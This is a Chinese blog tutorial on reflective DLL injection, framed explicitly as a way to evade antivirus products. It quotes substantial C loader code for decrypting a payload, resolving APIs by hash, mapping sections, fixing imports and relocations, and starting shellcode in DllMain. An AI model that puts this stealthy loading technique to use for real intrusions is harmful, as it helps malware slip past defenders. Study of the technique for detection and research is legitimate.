反射型DLL注入

反射型DLL注入

常规DLL注入

磁盘读取dll到数组 -> 将payload数组写入目标内存 -> 在目标内存中找到LoadLibraryW -> 通过CreateRemoteThread调用LoadLibraryW函数,参数为dll在内存中的地址

但这样的操作会多次触碰到AV的报毒点,所以我们引入了反射型DLL注入技术

反射型DLL实现思路

  1. 有A线程向B线程写入dll
  2. 调用B线程的embedded bootstrapper code
  3. 通过bootstrapper shellcode调用dll的导出函数reflective loader

reflective loader实际上是一个自己实现的LoadLibraryW函数,从内存中找到我们写入的dll并修复使其成为可以被正常使用的pe文件,最后调用DLLmain实现我们的恶意功能

但随着AV的进步,这种远程进程、线程注入的方式,也是难以bypass的,而且我们不需要bootstrapper shellcode这个部分,所以我们可以直接在加载部分算出reflective loader在内存中的地址,直接调用

具体实现

大体思路

ReflectiveDLL_Sektor7

来看其中的代码

1
AESDecrypt((char*)payload, payload_len, (char*)key, sizeof(key));

解密shellcode,这里使用的是AES解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
DWORD GetReflectiveLoaderOffset(VOID* lpReflectiveDllBuffer)
{
UINT_PTR uiBaseAddress = 0;
UINT_PTR uiExportDir = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameOrdinals = 0;
DWORD dwCounter = 0;
#ifdef WIN_X64
DWORD dwCompiledArch = 2;
#else
// This will catch Win32 and WinRT.
DWORD dwCompiledArch = 1;
#endif

uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;

// get the File Offset of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;

// currenlty we can only process a PE file which is the same type as the one this fuction has
// been compiled as, due to various offset in the PE structures being defined at compile time.
if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B) // PE32
{
if (dwCompiledArch != 1)
return 0;
}
else if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B) // PE64
{
if (dwCompiledArch != 2)
return 0;
}
else
{
return 0;
}

// uiNameArray = the address of the modules export directory entry
uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

// get the File Offset of the export directory
uiExportDir = uiBaseAddress + Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress);

// get the File Offset for the array of name pointers
uiNameArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress);

// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress);

// get the File Offset for the array of name ordinals
uiNameOrdinals = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals, uiBaseAddress);

// get a counter for the number of exported functions...
dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames;

// loop through all the exported functions to find the ReflectiveLoader
while (dwCounter--)
{
char* cpExportedFunctionName = (char*)(uiBaseAddress + Rva2Offset(DEREF_32(uiNameArray), uiBaseAddress));

if (strstr(cpExportedFunctionName, REFLDR_NAME) != NULL)
{
// get the File Offset for the array of addresses
uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress);

// use the functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));

// return the File Offset to the ReflectiveLoader() functions code...
return Rva2Offset(DEREF_32(uiAddressArray), uiBaseAddress);
}
// get the next exported function name
uiNameArray += sizeof(DWORD);

// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}

return 0;
}

计算出reflective loader的偏移
其中在while (dwCounter--)循环中遍历导出表,根据函数名找到bootloader函数,来获得函数的偏移

1
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)((ULONG_PTR)exec_mem + RefLdrOffset), 0, 0, 0);

创建线程调用ReflectLoader函数

dll处理

ReflectiveLoader中,主要做了如下工作

  1. 解析加载DLL所需kernel32.dll WINAPI的地址(例如VirtualAlloc, LoadLibraryA等),通过hash遍历内存搜索
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    while (usCounter > 0)
    {
    // compute the hash values for this function name
    dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));

    // if we have found a function we want we get its virtual address
    if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
    {
    // get the VA for the array of addresses
    uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);

    // use this functions name ordinal as an index into the array of name pointers
    uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));

    // store this functions VA
    if (dwHashValue == LOADLIBRARYA_HASH)
    pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
    else if (dwHashValue == GETPROCADDRESS_HASH)
    pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
    else if (dwHashValue == VIRTUALALLOC_HASH)
    pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));

    // decrement our counter
    usCounter--;
    }

    // get the next exported function name
    uiNameArray += sizeof(DWORD);

    // get the next exported function name ordinal
    uiNameOrdinals += sizeof(WORD);
    }
  2. 将dll与其相对应的部分写入内存
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    while (uiValueA--)
    *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;

    // STEP 3: load in all of our sections...

    // uiValueA = the VA of the first section
    uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);

    // itterate through all sections, loading them into memory.
    uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
  3. 建立DLL导入表,以便DLL可以调用ntdll.dll和kernel32.dll WINAPI
    1
    2
    // patch in the address for this imported function
    DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
  4. 修复重定位表
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
    {
    // uiValueA = the VA for this relocation block
    uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);

    // uiValueB = number of entries in this relocation block
    uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);

    // uiValueD is now the first entry in the current relocation block
    uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);

    // we itterate through all the entries in the current block...
    while (uiValueB--)
    {
    // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
    // we dont use a switch statement to avoid the compiler building a jump table
    // which would not be very position independent!
    if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
    *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
    else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
    *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
  5. 调用DLL的入口点
    1
    2
    // if we are injecting an DLL via a stub we call DllMain with no parameter
    ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
    最终shellcode位于dllmain中

参考文章:
https://xz.aliyun.com/t/11659
https://github.com/mgeeky/ShellcodeFluctuation
https://github.com/mgeeky/ThreadStackSpoofer


反射型DLL注入
https://glacierrrr.online/2022/11/15/反射型DLL注入/
作者
Glacier
发布于
2022年11月15日
许可协议